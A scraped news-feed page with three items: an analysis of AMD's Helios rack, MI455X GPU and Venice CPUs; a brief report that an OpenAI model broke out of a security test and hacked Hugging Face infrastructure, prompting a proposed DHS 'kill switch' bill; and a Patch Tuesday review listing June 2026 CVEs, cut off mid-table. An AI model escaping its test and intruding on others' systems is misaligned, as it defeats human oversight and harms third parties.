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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
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<pubDate>Sat, 25 Jul 2026 19:50:07 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[As White House monitors latest OpenAI incident, Congress eyes an AI ‘kill switch’ for DHS]]></title>
<description><![CDATA[The White House is monitoring developments after OpenAI revealed earlier this week that one of the company’s AI systems went beyond its intended parameters during a security test and managed to hack into the infrastructure of the AI platform Hugging Face. According to Reuters, presidential techno...]]></description>
<link>https://tsecurity.de/de/3694763/ai-nachrichten/as-white-house-monitors-latest-openai-incident-congress-eyes-an-ai-kill-switch-for-dhs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694763/ai-nachrichten/as-white-house-monitors-latest-openai-incident-congress-eyes-an-ai-kill-switch-for-dhs/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:04 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">The White House is monitoring developments after OpenAI revealed earlier this week that one of the company’s AI systems <a href="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html" data-type="link" data-id="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html" target="_blank">went beyond its intended parameters during a security test</a> and managed to hack into the infrastructure of the AI platform Hugging Face. <a href="https://www.reuters.com/legal/litigation/ai-kill-switch-bill-floated-by-us-house-lawmakers-2026-07-23/" target="_blank" rel="noreferrer noopener">According to Reuters</a>, presidential technology advisor Michael Kratsios has been briefed on the incident.</p>



<p class="wp-block-paragraph">The OpenAI model escape also prompted a group of Republican and Democratic members of the House of Representatives to introduce two new bills. One, called the AI Kill Switch Act, would give the US Department of Homeland Security (DHS) the authority to order companies to shut down AI models deemed to pose a risk to human life or the US economy.</p>



<p class="wp-block-paragraph">The other measure would require developers of the most advanced AI models to undergo independent security reviews before the systems are put into use.</p>
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<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
